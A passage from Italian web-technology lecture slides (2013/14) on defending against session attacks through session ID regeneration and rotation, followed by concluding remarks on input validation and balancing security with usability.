per farlo occorre modificare la configurazione del modulo PHP• Una soluzione più efficace è la rinegoziazione del session ID ogni

volta che viene inizializzata una sessione (session regeneration): la funzione session_regenerate_id() genera un nuovo session ID non prevedibile, ri-creando il cookie che ne contiene il valore

• Rotazione del session ID: simile alla session regeneration, ma la generazione del nuovo session ID avviene ad ogni richiesta effettuata dall'utente; è una soluzione molto sicura, ma ha alcuni problemi,

a.a. 2013/14 Tecnologie Web 53

; , p ,per es: impedisce il funzionamento del tasto back del browser (il back

effettua una richiesta con un session ID non più valido in quanto rinegoziato)

impedisce il funzionamento corretto di memoria cache o di proxy

• La maggioranza dei problemi di sicurezza delle applicazioni Web è legata alla validazione degli input: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro

La sicurezza sul Web: conclusioni

• Non si tratta di un'operazione semplice: si deve cercare un compromesso tra– le funzionalità e l'usabilità (che rischiano di venire

compromesse da controlli troppo restrittivi) e – la sicurezza

NB gli utenti sono pigri! spesso non vogliono dover

a.a. 2013/14 Tecnologie Web 54

NB gli utenti sono pigri! spesso non vogliono dover risolvere un CAPTCHA ad ogni accesso…

• Ricordarsi che le scelte di messa in sicurezza dipendono dal tipo di applicazione e di dati trattati!